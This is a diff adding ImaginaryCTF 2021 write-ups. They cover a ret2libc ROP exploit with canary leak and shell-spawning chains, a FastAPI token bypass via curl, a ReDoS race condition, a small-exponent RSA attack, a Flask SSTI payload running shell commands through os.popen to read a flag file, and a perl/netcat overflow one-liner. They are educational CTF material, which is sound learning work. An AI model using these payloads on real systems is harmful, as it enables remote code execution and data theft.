+After looking around on google, it looks like the next thing we should try is a ret2libc attack. The basic idea is that we can use the global offset table (GOT), which is at a fixed address in our binary, to leak the address to functions in libc, which are randomized each execution due to ASLR. Then, if we know where a libc function is in memory, and we know what version of libc we have, we can calculate the base address of the libc ELF in memory, which we can then use to calculate the address of any libc function in memory. The only other caveat is that we need to leak two addresses from libc in order to figure out what version of libc is on the target.
+
+
+
+Tooling
+-------
+So to actually pull this attack off, I need to change my input based on the program's output (since the canary and libc addresses will be different). Up until this point, the most I have automated pwn exploits was just piping some fixed output into the vulnerable program. For this, I need to also capture the output of the program. There are tools and frameworks for building pwn scripts like this including pwntools, but I wanted to work through things myself for now.
+
+I started with a basic script in python using subprocess.Popen, but as things went I ended up making a whole script template/tool thing that I'm calling sploit. A large part of the effort on this problem was developing this tool, but I don't want to cover all of that here, so I'm going to just focus on the attack itself.
+
+
+
+Leaking the Canary
+----------
+So we start off by overflowing the buffer all the way up to $rbp-0x8 which is where our canary is. We put one more '\n' byte in to overflow the '\x00' byte at the beginning of the canary. This will get puts() to print out <our_buffer_fill>'\n'<last_3_bytes_of_canary>. We could have put anything in there over the '\x00', but since sploit I/O is currently line oriented, a newline makes extracting the canary easy.
+
+
+```
+def preamble():
+ #preamble
+ c.recv()
+ #smash the stack up to canary
+ #+ a newline to overwrite the null and delimit the next two readlines
+ c.send( payloads['fill']
+ +b'\n')
+ #most of the echo
+ c.recv()
+ #get the canary from the echo
+ out = c.recv()
+ canary = b'\x00'+out[:7]
+ return canary
+```
+
+
+
+Leaking libc
+------------
+On our second read/buffer overflow, we want to leak the addresses of two libc functions. We know we can print things with puts(), and we have a fixed address to puts()'s procedure linkage table (PLT) entry which we can return into to call puts(). The problem is that we are on a 64 bit system and function arguments are passed via registers. In particular, the first six arguments are passed via registers and later arguments are passed via the stack. The first four of these registers, in order, are rdi, rsi, rdx, and rcx. For puts, we just need to get a pointer to what we want to print in rdi.
+
+
+
+ROP Gadgets
+-----------
+This is where the idea of "ROP gadgets" comes in. A "gadget" is a small section of instructions that we can jump into directly to get some desirable effect. If we can find the right gadgets and jump around between them, we can effectively do arbitrary instructions. For now, I'm only focused on simple gadgets like modifying registers and then returning. There are many ways to find a gadget. Originally, I actually looked up the sequence of OP codes for the instructions I wanted to do and then searched for them in a hexeditor and in objdump's dissassembly. As it turns out, there are easier ways to search for gadgets using tools. For now, I'm using radare2 (reverse engineering focused debugger and binary analysis tool). We can bring the binary into radare2 and search for specific gadgets and it will return a list of gadgets we can use with their addresses.
+
+ $ r2 linonophobia
+ [0x004005d0]> "/R/ pop rdi;ret"
+
+this will give us a pop rdi gadget which will take something off of the stack and put it in rdi then return to the next address on the stack. With this, we can return into this gadget, pop the address of something we want to print (like a GOT entry which contains the address of a libc function), and return into the PLT for puts() which will call puts() with whatever we just put into rdi. Our stack (after the main overflow and canary) will look like:
+
+ <junk saved rbp>
+ <address of pop rdi gadget>
+ <value to pop into rdi>
+ <address of puts() PLT>
+
+We can actually just keep appending more things to "return into". This is the main idea behind return oriented programming. So to continue our attack, we can put the address of main() next to restart the process and start another ROP using what we just leaked from the last one. Even better, we can return into _start() to ensure our stack is "fixed" rather than having our broken junk rbp we gave earlier. And when we're done with the whole attack, we can call exit(0) to get a clean exit rather than letting the program crash.
+
+
+
+Actually Leaking libc
+---------------------
+So now we know how to call a PLT function with an argument in rdi. In particular, we want to puts() something to leak libc addresses. After a libc function is called from PLT for the first time, it's GOT entry is overwritten with the address to the function in memory. So if we want to get the address of a libc function in memory, we want to print out the contents of it's GOT entry after it's been called. For linonophobia, we have a few candidates including setvbuf(), read(), puts(), and printf(). Our GOT entry for printf() is already corrupted, and I had issues getting the libc database lookups to work with read, so my final exploit uses setvbuf() and puts().
+
+```
+#rop to find the address of setvbuf in memory
+#for the purpose of looking up the glibc offsets in a database
+canary = preamble()
+ropchain = payloads['poprdi'] #pop rdi,ret
+ropchain += payloads['gotaddr2'] #rdi; pointer to setvbuf.got
+ropchain += payloads['pltaddr'] #ret puts
+#rop to find the address of puts in memory
+#for the purpose of looking up the glibc offsets in a database
+#and then we will use this to calculate our glibc base at runtime
+ropchain += payloads['poprdi'] #pop rdi,ret
+ropchain += payloads['gotaddr'] #rdi; pointer to puts.got
+ropchain += payloads['pltaddr'] #ret puts
+ropchain += payloads['startaddr'] #ret _start to fix stack
+#smash stack again, but with canary and rop
+#this will print out the address of puts in memory
+c.send( payloads['fill']
+ +canary
+ +payloads['buffaddr']
+ +ropchain)
+```
+
+
+
+Finding our target's libc
+-------------------------
+From here we can use these two addresses to look up in a database the version of libc on the target. Apparently the libc ELF will always be at a location ending in 0x000 regardless of ASLR. This means we can take the least significant 12 bits of any libc address and know that it will be the same across executions. We can use two of these 12 bit offsets to find a libc version that has the same offsets. There are several databases that provide this service. libc.blukat.me and libc.rip are two examples.
+
+Searching for my offsets in a database, I'm given a specific libc that is probably what is on the target. With this, we can look up other offsets to other functions in the library. For our attack, getting the address to system() and given it the string "/bin/sh" would be ideal. As it turns out, the string "/bin/sh" actually shows up in libc, too, so we can use this technique to get both.
+
+Then, at runtime, we leak current address of one libc function (e.g. puts()) using the same method as before, use what we know the offset of this function is to calculate where the base address of libc is currently, and then use our offsets to other functions to find them in memory.
+
+```
+#from database
+libc_offset = util.itob(0x0875a0)
+libc_system = util.itob(0x055410)
+libc_exit = util.itob(0x0e6290)
+libc_binsh = util.itob(0x1b75aa)
+#get the glibc puts address
+c.recv()
+out = c.recv()
+libc_addr = out[:8]
+#if puts() terminated on a \x00 (like the most sig bits of an address)
+#our [:8] might get less than 8 bytes of address + a newline
+#so strip that newline
+if libc_addr[-1:] == b'\n':
+libc_addr = libc_addr[:-1]
+#calculate glibc base address
+libc = util.Libc(libc_addr,libc_offset)
+libc_base = libc.base()
+#use that to calculate other glibc addresses
+system_addr = libc.addr(libc_system)
+exit_addr = libc.addr(libc_exit)
+binsh_addr = libc.addr(libc_binsh)
+```
+
+One caveat is that I noticed these aren't always entirely accurate for whatever reason. For instance, the address that the database gave me for my own local libc's "/bin/sh" string was off by 4 bytes. We always ROP to puts() to print out the contents at our calculated addresses and check them against what is expected if there are any issues.
+
+For intance, the base address should contain '\x7fELF' and the binsh string should obviously contain '/bin/sh'
+
+
+
+Get a Shell
+-----------
+Now we can call system("/bin/sh") in the same way as how we called puts() earlier.
+
+```
+#rop to system("/bin/sh")
+canary = preamble()
+ropchain = payloads['poprdi'] #pop rdi,ret
+ropchain += binsh_addr #rdi; pointer to "/bin/sh"
+ropchain += system_addr #ret system
+ropchain += payloads['poprdi'] #pop rdi,ret
+ropchain += payloads['null'] #rdi 0
+ropchain += exit_addr #ret exit to exit cleanly
+c.send( payloads['fill']
+ +canary
+ +payloads['buffaddr']
+ +ropchain)
+```
+
+This worked to get /bin/sh launched on my local machine, but was consistently failing on the remote. I also had an issue with my scripted shell commands sometimes being dropped. I thought they were the same issue during the competition and ended up getting around them in the moment by calling execve("/bin/sh",0,0) instead. I have since figured out what the two issues I was running into were and I'll cover them later in the document.
+
+
+
+Using execve instead
+--------------------
+For the execve() call, though, I need to give more function arguments than before. Strictly speaking, execve() is supposed to take a list for both the second and third arguments. These lists can be empty (the first element is just NUll), but the pointer to the list is supposed to be valid. Luckily, it's normal on Linux for glibc to allow execve() to take NULL as the pointer to these lists and it will behave the same as if an empty list was passed. To pass these zeroes, we need to fill rsi and rdx. We can search for another gadget to do this. I actually couldn't find one in the main executable binary, but I was able to find one in libc itself and used that.
+
+```
+#rop to execve("/bin/sh",0,0)
+canary = preamble()
+ropchain = payloads['poprdi'] #pop rdi,ret
+ropchain += binsh_addr #rdi; pointer to "/bin/sh"
+ropchain += payloads['poprsi_popr15'] #pop rsi,pop r15,ret
+ropchain += payloads['null'] #rsi
+ropchain += payloads['null'] #r15
+ropchain += poprdx_poprbx_addr #pop rdx,pop rbx,ret
+ropchain += payloads['null'] #rdx
+ropchain += payloads['null'] #rbx
+ropchain += execve_addr #ret execve
+ropchain += payloads['poprdi'] #pop rdi,ret
+ropchain += payloads['null'] #rdi 0
+ropchain += exit_addr #ret exit to exit cleanly
+c.send( payloads['fill']
+ +canary
+ +payloads['buffaddr']
+ +ropchain)
+```
+
+
+
+Shell Commands
+--------------
+Because sploit doesn't support an interactive I/O mode (yet), I just need to send out some specific shell commands to /bin/sh that will get us the flag.
+
+```
+#try some shell commands
+c.send(b'whoami\n')
+c.send(b'pwd\n')
+c.send(b'ls\n')
+c.send(b'cat flag\n')
+c.send(b'cat flag.txt\n')
+c.send(b'exit\n')
+```
+
+
+
+Commands Being Dropped
+----------------------
+When using system(), I was having problems with some of these commands being dropped. I did not notice this happening with execve(), though I could not explain why. As it turns out, it was also happening with execve(), I just didn't notice. I also thought that this was the cause of the exploit failing on remote, but it turns out that was a different problem and switching to execve() just happened to fix that. This "commands being dropped" issue was also happening on the remote for both system() and execve(), but it was only dropping a couple of the first commands, so I wasn't noticing at first.
+
+
+
+read() issues
+-------------
+In trying to understand the issue with commands being dropped, I backtested sploit against some of the easier pwn problems and it worked just fine. After a long conversation with the team, we eventually figured out that it was because this problem uses read(). I had an expectation that flush()ing would somehow delimit the data on the buffer so that read() would stop reading at the flush. This is not true. read() will read as many bytes as it's told to (or as many are in the buffer, whichever is smaller). So there is a race condition with our local flush()s and when read() actually returns. If we flush() all of the shell commands before the read() that gets the ROP chain has returned, it can end up reading in all of the shell commands as well and put them on the stack of the vulnerable program rather than them getting consumed by /bin/sh. The reason it works "better" on the network is likely due to a mix of latency and the network hardware,interface,protocols,etc. buffering and grouping some of our data together.
+
+If there was some output after the read(), we could use that to synchronize when read() was done and then send our shell commands after. While our application doesn't have anything printed there that we can use, we can actually just put another puts() in there to synchronize on. While a bit more kludgy, we can also just sleep for a second between the ROP chain and sending the shell commands.
+
+
+
+Stack Alignment
+---------------
+So this whole "command dropping" thing had nothing to do with why system was failing on the remote. Someone from the discord pointed me in the direction of stack alignment. On a 64 bit system, the stack should be aligned to 16 bytes most of the time. While it really only has to be aligned to 8 bytes most of the time, certain functions do require 16 byte alignment. And system() is one of those. For whatever reason, though, it works on my local system. I even dove deeper into things in gdb on my system and noticed that the stack was consistently ending with 0x8 at the end of main and my ROP chain should be getting me to 0x0 by the time it gets into system(). The "fix" that I do on remote to offset the stack by 0x8 doesn't break my local, either, which implies that my local system() only requires 8 byte alignment.
+
+To fix the alignment, we just need to pop one more thing off of the stack. We can do this with a useless ret. Finding a ret gadget is trivial, obviously, and we can just put it right before our system() address. This gives us a working exploit against the remote and drops us into a shell from which we can read the flag file.
diff --git a/docs/writeups/ImaginaryCTF_2021/numhead.txt b/docs/writeups/ImaginaryCTF_2021/numhead.txt
new file mode 100644
index 0000000..79f5428
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/numhead.txt
@@ -0,0 +1,33 @@
+this problem ended up being more about reading a bunch of source code and figuring out an api than any particular vulnerability.
+
+we get a zip of a whole web project's source code. The website itself is actually just an API that returns json rather than html docs. There's supposed to be a number guessing game, but we don't actually need to care about it to solve the problem.
+
+The first thing we see in the project is a requirements.txt. In it there is a reference to "fastapi". After googling it, it turns out it's a web framework similar to Flask, Django, Rails, etc.
+
+I spent some time reading some basic docs/tutorials on fastapi to get a general feel of how to navigate the project. There is an app.py that sets up the asgi server, a routers directory with two files full of endpoints we can hit, a number of files dealing with database access, some helper files and config files, a "crud" api that does some business logic routing, and a game.py that implements the guessing game.
+
+In src/routers/admin_endpoints.py, we have a '/flag' endpoint. When it's called, it goes through crud.get_flag(). In src/crud.py, get_flag() calls get_config() and then .flag on the returned object. If we check src/config/config.py, there is, in fact, a flag variable in a MysteriousSettings class. It's set to a troll flag in our copy, but it contains the real flag on the live server. There is really no indication that it would contain something different on the live, and I wasn't expecting it to when I was originally going through the problem, but that ended up being it.
+
+Okay, so we know what we have to call to get the flag. But of course it isn't that easy. Looking back at the '/flag' route in admin_endpoints.py, there is a "dependency" on auth.verify_imaginary_user. Also in the get_flag() function in crud.py, we need valid_session.imaginary_points >= 1000 or it will give us an error message. So we have two requirements we need to meet when we hit our /flag endpoint. We need to have a verified user and 1000 points.
+
+Let's start by figuring out how to get become a valid user. In src/auth.py, we can find the verify_imaginary_user() function that we saw earlier. This function sets up a fastapi Security uses an APIKeyHeader with the name "authorization". Unfortunately, the fastapi Security and APIKey apis are kind of terribly documented, but we can assume from the context that it is looking for an API key in the http header "authorization". The function takes this value and a database connection and calls crud.validate_imaginary_user() with them. Back in crud.py, the validate_imaginary_user function forwards on these arguments to _find_imaginary_user() and, if there is a result, returns it. Otherwise returns False.
+
+_find_imaginary_user() makes a query to the database checking the "imaginary_id" field with the value from that API key header. There is also a create_imaginary_user() function that can generate an id and put a user record in the database for us. In that record it adds the generated id, 10 points, 0 guess attempts, a timestamp, and some "known_discoveries_str". This known_discoveries thing is a json dump of the headers of the request that created the user. After creating the new user record, the generated id is returned to us.
+
+So how do we get the app to call create_imaginary_user() for us? Using grep, we can quickly find that it is called directly from src/routers/user_endpoints.py in the '/new-token' route. This route is a basic POST request, but before it will call create_imaginary_user() for us, it checks our "authorization" API key for flag_config.magical_token. Looking back again at config.py, there is indeed a magical_token value. So we can put that in our "authorization" header and get through.
+
+ curl -X POST http://numhead.chal.imaginaryctf.org/api/user/new-token -H "authorization: 0nlyL33tHax0rsAll0w3d"
+
+Okay, now we have an id that we can authenticate with. But remember our other requirement was to get valid_session.imaginary_points >= 1000. Again, we can grep for imaginary_points and find two ways in which are points are increased. One is by playing the game, and the other is in crud.py in _submit_attempt() which is called from guess_header() which is called from user_endpoints.py on the '/nothing-here' endpoint.
+
+This endpoint has a "Dependency" that we have a valid user, so we need to give it our id in the authorization header. It directly calls guess_header() which puts any "discoveries" from the database (so our headers when we registered) into session storage. It won't proceed unless we have more headers in our current request than what is in the session storage. It then figures out which headers are new and passes them to _submit_attempt(). if we have new headers, it adds them to the database and gives us 100 points.
+
+Okay, so the easiest way to get points is to call the '/nothing-here' endpoint ten times adding a new header each time. The last request will look something like this:
+
+ curl -X POST -H "authorization: 93f43de82a1040c5a724d9a9dbf66364" numhead.chal.imaginaryctf.org/api/user/nothing-here -H "a:a" -H "b:b" -H "c:c" -H "d:d" -H "e:e" -H "f:f" -H "g:g" -H "h:h" -H "i:i" -H "j:j"
+
+And finally, we should be able to call /flag with our 1k points and get the flag.
+
+ curl -H "authorization: 93f43de82a1040c5a724d9a9dbf66364" numhead.chal.imaginaryctf.org/api/admin/flag
+
+And that gives us the flag.
diff --git a/docs/writeups/ImaginaryCTF_2021/off_to_the_races.txt b/docs/writeups/ImaginaryCTF_2021/off_to_the_races.txt
new file mode 100644
index 0000000..d348d8b
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/off_to_the_races.txt
@@ -0,0 +1,59 @@
+The Service
+-----------
+if we connect to the app, we're prompted with a menu where we can bet on a horse or try to log in as admin. When we bet on a horse, it prompts us for a horse name and how much we want to bet. We can put whatever name we want and we can also put whatever bet we want. It doesn't check that the horse exists or that we have the money to bet. Trying to login prompts for a password and after a couple seconds will tell us it failed.
+
+
+
+The Source
+----------
+Looking of the source code, we can see that there are two menus. One for normal users and one for the admin. We need to login to set a boolean to True to get access to the admin menu. Trying to login prompts for a password which it checks against some hardcoded regex.
+
+ r'ju(5)tn((([E3e])(v\4))+\4\5)+rl0\1\4'
+
+we can put this in at regexr.com to get a breakdown of the different components and figure out something that works. a basic breakdown is that we choose either 'E', '3', or 'e', and then put two or more repetitions of 'eve' (or whichever character we chose) between ju5tn<eve copies>rl0se. So ju5tneveeverl0se works.
+
+
+
+Back to the Service
+-------------------
+Once we login, we're presented with the admin menu. On this menu, we can declare a winner, view our balance, buy the flag, and logout. Declaring a winner just randomly chooses one of the horses that was bet on from the other menu and calculates how much money we win and lose based on the bets that were made. Trying to buy the flag requires $100, but even if we have $100, trying to buy the flag will tell us that we need to not be the admin. Logging out presents us with the same password check from before.
+
+
+
+Back to the Source
+------------------
+So we can only get the flag from the admin menu, but we need to not be the admin in order to get the flag.
+
+Looking closer at the source, the admin boolean is actually a multiprocessing.Value. This is a shared memory value that can be read and written to from different processes. the program does a loop where it checks this value and chooses which menu to present us with based on this. When we try to login, it actually launches a separate process to check the password with multiprocessing.Process and waits 2 seconds for it to finish.
+
+This means we have a potential race condition between the password checking process setting the admin value and the 2 second sleep finishing and returning us back to the loop where the admin value will be checked and the menu will be chosen. If we can get the password check to fail while taking longer than that 2 second sleep, we can get to the admin menu and wait for the password check to fail and set the admin value back to False.
+
+
+
+Regular Expression Denial of Service
+------------------------------------
+Certain regular expressions are vulnerable to denial of service attacks. If a regular expression is defined in a way that it can accept a given input in several different ways, it may be vulnerable. The issue is that if an input fails, the regex engine needs to walk itself back to a good state and try to match the input in a different way. It keeps trying different paths until it has exhausted all of them. The more ways in which an input can match most of the regex while still failing at the end, the longer it takes. Vulnerable regular expressions contain
+
+ 1) grouping with repetition
+ 2) inside the repeated group:
+ a) repetition
+ b) alternation with overlapping
+
+ examples:
+ (a+)+
+ (a|aa)+
+ (a|a?)+
+
+So our above regex definitely falls into this. The middle part is effectively
+
+ ((eve)+eve)+
+
+which can process repetitions of 'eve' in several different ways.
+
+If we put enough repetitions of 'eve' in but mess up the last one, it takes a long time to actually fail. We can even test this in regexr.com. If you add enough repetitions, it will actually timeout if the engine takes longer than 250ms.
+
+
+
+The Attack
+----------
+Finally, on to the attack. We start by making a couple bets with a big difference in money. We then login as admin with a working password. We can choose a winner and, if we end up losing money, just start over again. If we make money, though, we now want to go to the login prompt again, but give our "evil" regex. After two seconds, we'll be dropped back to the admin menu. Now we wait for the password checking process to fail and set the admin value back to False. Finally, we can buy the flag.
diff --git a/docs/writeups/ImaginaryCTF_2021/rock_solid_algorithm.txt b/docs/writeups/ImaginaryCTF_2021/rock_solid_algorithm.txt
new file mode 100644
index 0000000..efce1a7
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/rock_solid_algorithm.txt
@@ -0,0 +1,98 @@
+The Problem
+-----------
+we're given a text file with three numbers labeled n, e, and c. This looks like an RSA problem where we need to crack the ciphertext c. e is only 5, which looks like this may be a small exponent attack. Normally, e would be something like 65537 = 0x10001
+
+
+
+The Small Exponent Attack
+-------------------------
+Most documentation online about small exponent attacks talk about e=3, but it should be the same for e=5. Note that this doesn't necessarily mean c will be easy to crack, just that it might be. Because of this, when my original attempt during the competition didn't work, I assumed it must be something else and just moved on. After seeing writeups say that it was, in fact, a small exponent attack, I assumed that I must have made a typo or mistake somewhere in the math and went back to solve it after the fact.
+
+The idea behind a small exponent attack is that our ciphertext c is calculated from plaintext p with exponent e and modulo n
+
+ c = (p**e)%n
+
+which would mean that
+
+ (p**e) = c + (k * n)
+
+for some k. Obviously we don't know what that k is, and it could be very large if p was big enough. A higher e makes it much more likely that k would be extremely large, but since e is so small, there is a chance that we can find (p**e) with only a few iterations trying increasing values for k.
+
+That alone isn't enough, though, as we have no way to know directly if the (p**e) we calculate for a given k is the correct one. For that, we need to calculate the e-th root of (p**e) to get p and check if a) that root even exists and b) if that p is our flag or some other random value that happens to work. For my attack, I only ever actually checked if the root existed as I figured if I found a false positive I could just fix the code then.
+
+
+
+e-th Root In Python
+-------------------
+Now the hard part is calculating the e-th root of (p**e). There are a number of math tools that can do this for us, but I didn't feel like relearning sagemath or NumPy, so I was trying to just deal with it myself in pure python. As it turns out, there are tons of little hiccups that make this pretty annoying.
+
+First, for a t = (p**e), p = t**(1/e) will try to convert t into a float and fail because the int is too large. So we can't just do that.
+
+Instead, I decided to write a binary search over range(0,t) which would calculate i**e and check it against t. This is a pretty decently fast way to search for an e-th root.
+
+I wrote a generic binary search function which I figured I could reuse later for something else. I did it recursively originally, but python had a fit when my numbers were too large and it hit the recursion limit. So I had to rewrite it as a loop instead.
+
+I also ran into various issues with keeping it generic and dealing with large numbers. For instance, len(range(0,really_big_number)) throws an exception that that int would be too large for a C ssize_t. So I had to add the ability to define custom start and end points in the iterable.
+
+The final code looks like this:
+
+```
+#binary search
+#searches for an s in i that satisfies x == f(i[s])
+#i = iterable
+#f = function to call on each element of i
+#x = value to search for
+#start = offset into iterable to start
+#end = offset into iterable to end
+#if it finds a match, it returns a tuple of (s,i[s],f(i[s]))
+#if it does not find a match, it returns (-1,None,None)
+def bsearch(i,f,x,start=0,end=-1):
+ if end == -1:
+ end = len(i)-1
+ #s = _bsearch(i,f,start,end,x)
+ s = _bsearch2(i,f,start,end,x)
+ return (s,i[s],f(i[s])) if s != -1 else (s,None,None)
+
+#recursive
+def _bsearch(i,f,lo,hi,x):
+ if hi >= lo:
+ md = (hi+lo)//2
+ a = f(i[md])
+ if a == x:
+ return md
+ elif a > x:
+ return _bsearch(i,f,lo,md-1,x)
+ else:
+ return _bsearch(i,f,md+1,hi,x)
+ else:
+ return -1
+
+#loop
+def _bsearch2(i,f,lo,hi,x):
+ while True:
+ if hi >= lo:
+ md = (hi+lo)//2
+ a = f(i[md])
+ if a == x:
+ return md
+ elif a > x:
+ hi = md-1
+ else:
+ lo = md+1
+ else:
+ return -1
+
+def small_e_attack(c,e,n,kend=100):
+ for k in range(1,kend):
+ t = c + (k*n)
+ p = bsearch(range(1,t),lambda p: p**e,t,end=t-2)[1]
+ if p != None:
+ print(p.to_bytes(40,'big').decode())
+ break;
+```
+
+and then we can just call
+
+ small_e_attack(c,e,n)
+
+and it prints the flag
diff --git a/docs/writeups/ImaginaryCTF_2021/roos_world.txt b/docs/writeups/ImaginaryCTF_2021/roos_world.txt
new file mode 100644
index 0000000..1a7440a
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/roos_world.txt
@@ -0,0 +1,5 @@
+they tell you right on the page to try inspecting
+out of curiousity, I also checked the source. there is a comment telling you it won't be that easy and sending you to a rickroll youtube link (https://imaginaryctf.org/r/69696969)
+there is also a script with some obfuscated bullshit that probably prints something
+so I went to the inspect panel and checked the debug console
+and yeah, there it was
diff --git a/docs/writeups/ImaginaryCTF_2021/sanity_check.txt b/docs/writeups/ImaginaryCTF_2021/sanity_check.txt
new file mode 100644
index 0000000..7de1272
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/sanity_check.txt
@@ -0,0 +1 @@
+basic test flag where they just give it to you
diff --git a/docs/writeups/ImaginaryCTF_2021/sinking_calculator.txt b/docs/writeups/ImaginaryCTF_2021/sinking_calculator.txt
new file mode 100644
index 0000000..8e9fefd
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/sinking_calculator.txt
@@ -0,0 +1,107 @@
+The Website
+-----------
+we're given a webpage with a form with a single field that can "do math without decimals". Also, the problem description tells us that there is a file called flag.
+
+
+
+The Source
+----------
+if we look at the python source, it's another flask app. There are two routes, the index just serves a static page with the form, and the /calc route takes our query and passes it through render_template_string. So it's another Flask SSTI problem.
+
+The catch is threefold. First, it strips the output of anything except digits and hyphens. So we need a scheme for exfiltrating data. Second, our query is limited to 80 characters. If we go over this, it won't execute. Lastly, request.args, request.headers, and request.cookies are cleared to try to keep us from hiding additional SSTI in them and getting around the 80 character limit.
+
+I did not actually manage to solve this problem during the competition as my understanding of SSTI was still too spotty and I didn't know how to work around the limitations without decent feedback. It didn't help that the server kept giving 502's which an admin later said was because the box was "hitting the process limit", but in the moment I thought was just a different way of it failing to execute my script (similar to the normal Internal Server Error message). Now that I have written my SSTI document, I am confident that I can solve this.
+
+
+
+Small SSTI
+----------
+There are actually quite a few ways we can pull off getting around the 80 character limit for arbitary code execution. The exfil requirement is a bit harder to do in 80 characters.
+
+First of all, we can open and read the file with
+
+ g.pop.__globals__.__builtins__.open('flag').read()
+
+but this won't work on it's own because of the exfil requirement
+
+
+
+Exfil
+-----
+We can open the file in binary mode and query each character at a time which would return the character as an integer, and then we could put them back together on our end.
+
+ ...open('flag','rb').read()[0]
+ flag += chr(next_char_from_query_results)
+
+unfortunately, our ability to manipulate the bytestring as a whole are pretty limited because we can't access list() from the immediate context. we can instead build in that ability through shell commands
+
+g.pop.__globals__.sys.modules.os.popen('od -A n -b f*|tr " " "-"').read()
+comes in at 73 characters. just under our 80 char limit.
+
+the python part is the shortest way I know of to get to popen.
+
+from there, we can use od to dump the file out as octal (since octal is guaranteed to be just digits). Unfortunately, od outputs similar to a hexdump with the file offsets on the left margin. We can remove that with '-A n'. '-A' specifies a format for the file offsets and 'n' specifies None. It also prints out two bytes worth of octal at a time. '-b' tells it to do 1 byte at a time instead. These octal bytes are separated by a space character. This will get stripped by the exfil requirement, so we can use tr to translate these spaces into hyphens. at this point we're still just above our 80 character limit. But we can use the shell's ability to complete the file name with f* to get us below the requirement.
+
+what we get back is a long string starting with a hyphen and then consisting of three digit octal numbers for each byte separated by hyphens. We can copy this string and process it in python like this
+
+ s = '<our hyphen delimited octal string>'
+ flag = ''.join([chr(int(i,8)) for i in s.split('-')[1:]])
+
+and this gets us the flag!
+
+
+
+Solving it by Eval'ing the Request Body
+---------------------------------------
+but there is one more cool trick that I think is worth covering here. Going back to trying to get the exfil done directly in the python payload... we can often get around SSTI filter requirements like blacklists and length restrictions by hiding our payload in other parts of the request. This problem tries to deal with this by emptying the contents of args, headers, and cookies. But we still have access to other things in the request. In particular, we have full access to the main body of the request in request.data. We can use our usual SSTI tricks to run eval on any of these and then hide our real python payload in there without any of the restrictions the app is trying to impose (well, we still have the exfil req, but that's what we're trying to deal with in the unfiltered payload)
+
+ #curl (specify data-raw to give the request body as-is, but this will imply POST, so explicitly set GET)
+ curl -X GET https://sinking-calculator.chal.imaginaryctf.org/calc?query=<our query payload> --data-raw '<our main payload>'
+
+ #query payload (keep in mind we need to urlencode this)
+ g.pop.__globals__.__builtins__.eval%28request.data%29
+
+ #main payload
+ "-".join([str(i) for i in open("flag","rb").read()])
+
+ #post processing
+ s = '<our hyphen delimited string of ints>'
+ flag = ''.join([chr(int(i)) for i in s.split('-')])
+
+and there's the flag!
+
+
+
+Exfil without hyphens
+---------------------
+When I was originally trying to complete this challenge, the smallest payload I had gotten down to was actually using eval and then trying to embed the exfil python directly in the query payload. I got within a couple characters of the requirements, but couldn't shorten it further. I realized as I was doing this writeup that I was escaping the embedded quotes ('\'') when I could have just used double quotes ('"') and that actually shortened my shortest payload down to exactly 80 characters. as it turns out, there were other problems with this payload. for whatever reason, evaluating a list comprehension statement directly wasn't printing the contents as a list. I could add a join to get around that, but it made the payload slightly longer. The join obsoleted the part of the list comprehension that was adding in the delimiter, so we get back a few characters. Then I realized that a list comprehension to ord each character was kind of stupid when you can just open in binary mode and convert that to a list. and honestly even the list conversion isn't necessary because the bytes object is already iterable. But then I realized I was trying to combine strings and ints, so we had to call str on each element either with a list comprehension or with map. a single map on its own is shorter, so we'll go with that. and we're still at 82 characters...We could always use a single long string of digits and recognize that we can tokenize them based on the leading digit. if the next token starts with "1", it must be a 3 digit number. otherwise, it's only 2 digits. this would work, but I really wanted to get a hyphen delimiter in there.
+
+in the end, I couldn't get it under 82 with the hyphen delimiter
+
+ g.pop.__globals__.__builtins__.eval('"-".join(map(str,open("flag","rb").read()))')
+
+but if we're willing to parse based on the leading '1' thing, just wrapping the read in a list() works
+
+ g.pop.__globals__.builtins__.eval('list(open("flag","rb").read())')
+
+and then we would have to do some processing
+
+```
+s = '<number string>'
+l = []
+si = 0
+li = 3
+for c in s:
+ if si == 0:
+ li = 3 if c == '1' else 2
+ l.append(c)
+ si += 1
+ else:
+ l[-1] += c
+ si += 1
+ if si == li:
+ si = 0
+''.join(map(chr,l))
+```
+
+and again, there's the flag
diff --git a/docs/writeups/ImaginaryCTF_2021/stackoverflow.txt b/docs/writeups/ImaginaryCTF_2021/stackoverflow.txt
new file mode 100644
index 0000000..b5f8000
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/stackoverflow.txt
@@ -0,0 +1,78 @@
+The Service
+-----------
+netcat into simple program that asks you for input then exits. because of the challenge name, I immediately tried to buffer overflow with a bunch of junk. Sometimes it seemed to hang up the program and othertimes not, so it's probably the right track, but we need more info on the program.
+
+
+
+Reversing
+---------
+Oops, they give you the binary and apparently I'm blind and didn't see it. Open it up in gdb and check the dissassembly... seems that all of the business logic is directly in main.
+
+Putting "BBBB" on the stack...
+
+Some basic buffer shit for stdin and stdout...
+
+a few puts() for the prompts before and after the input...
+
+the scanf() for the input...
+
+and some conditional logic!
+
+One path prints something and makes a syscall.
+
+Other path prints something and exits.
+
+Checking the various strings for the puts() and scanf()...
+
+All of the main prompts are there...
+
+scanf() is using "%s" and putting the result on the stack.
+
+the first branch prints something about "Debug Mode", then references a "/bin/sh" string and makes a 0 syscall (read). I'm not sure how that would get us into a shell, but I guess I can just assume that's what it's going to do.
+
+oh, I'm dumb, that's system('/bin/sh'), not a syscall.
+
+the other branch is the one we usually see running the program where it prints about the feature not being implemented yet
+
+
+Buffer Overflows
+----------------
+so we need to get into that first branch
+
+the conditional check is comparing whatever is 8 bytes back on that stack ($rbp-0x08) to the constant 0x69637466 ("ictf")
+
+so we can overflow into the right spot on that stack and put that.
+
+0x30-0x08 = 0x28 (40), so we need 40 junk characters and then "ftci" (little endian)
+
+we can try it locally
+
+ perl -e 'print "AAAA"x10 ."ftci";' | ./stackoverflow
+
+and it gets us past the check, but doesn't drop us into a shell
+
+
+
+Cat Tricks
+----------
+it looks like when the input is done being piped in, it closes the stdin which kills the shell.
+
+a similar issue happens if you pipe the input in from a file or pseudo file (./stackoverflow < <(perl...) )
+
+a similar issue happens with netcat, but it's even more confusing because it doesn't close the prompt, it just closes the connection.
+
+eventually I found a way to use cat to get it to keep the stdin open
+
+ cat <(perl -e 'print "AAAA"x10 ."ftci\n";') - | nc chal.imaginaryctf.org 42001
+
+cat with the '-' flag keeps cat from sending eof and it will continue to echo the stdin (effectively giving us an interactive shell if it's piped into one)
+
